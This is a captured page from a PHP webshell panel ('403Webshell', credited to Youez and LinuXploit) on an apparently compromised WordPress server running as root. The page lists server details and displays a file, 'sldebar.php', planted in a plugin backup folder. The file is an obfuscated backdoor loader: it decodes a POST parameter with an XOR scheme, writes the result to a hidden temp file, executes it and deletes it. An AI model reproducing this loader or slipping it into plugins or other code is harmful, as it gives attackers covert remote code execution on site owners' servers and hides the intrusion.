403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.164
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/elegant-ads-bak/wp-content/plugins/backup-1766695670/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/elegant-ads-bak/wp-content/plugins/backup-1766695670/sldebar.php
<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit